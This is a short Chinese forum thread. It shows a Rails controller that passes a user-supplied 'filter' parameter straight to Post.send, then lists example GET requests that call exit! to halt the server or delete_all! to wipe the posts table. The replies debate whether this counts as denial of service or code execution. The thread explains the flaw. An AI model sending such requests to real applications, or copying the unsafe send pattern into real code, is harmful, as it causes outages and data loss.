安全 利用`send`漏洞进行拒绝服务(DoS)攻击

mehdi-farsi · 2020年08月30日 · 最后由 mehdi-farsi 回复于 2020年08月31日 · 1369 次阅读
# app/models/post.rb
class Post < ApplicationRecord
  scope :filter1, -> { where(status: :filter1) }
  scope :filter2, -> { where(status: :filter2) }
  scope :filter3, -> { where(status: :filter3) }

  scope :recent, -> { order(updated_at: :desc) }
end

# app/controllers/post_controller.rb
class PostsController < ApplicationController
  def index
    @users = Post.send(params[:filter]).recent
  end
end
GET /posts?filter=exit!           # => 服务器会被迫停止。
GET /posts?filter_delete_all!     # => 删除数据库表的内容会被清除。

这个叫“任意代码执行漏洞”可能更贴切些。DOS 一般是用海量请求占用服务器资源,使得服务器无法正常工作。

manxingxing 回复

业内这种也算 dos,而且这里能执行的代码也是有限的

manxingxing 回复

DOS 的意思是拒绝服务器。

4 楼 已删除
需要 登录 后方可回复, 如果你还没有账号请 注册新账号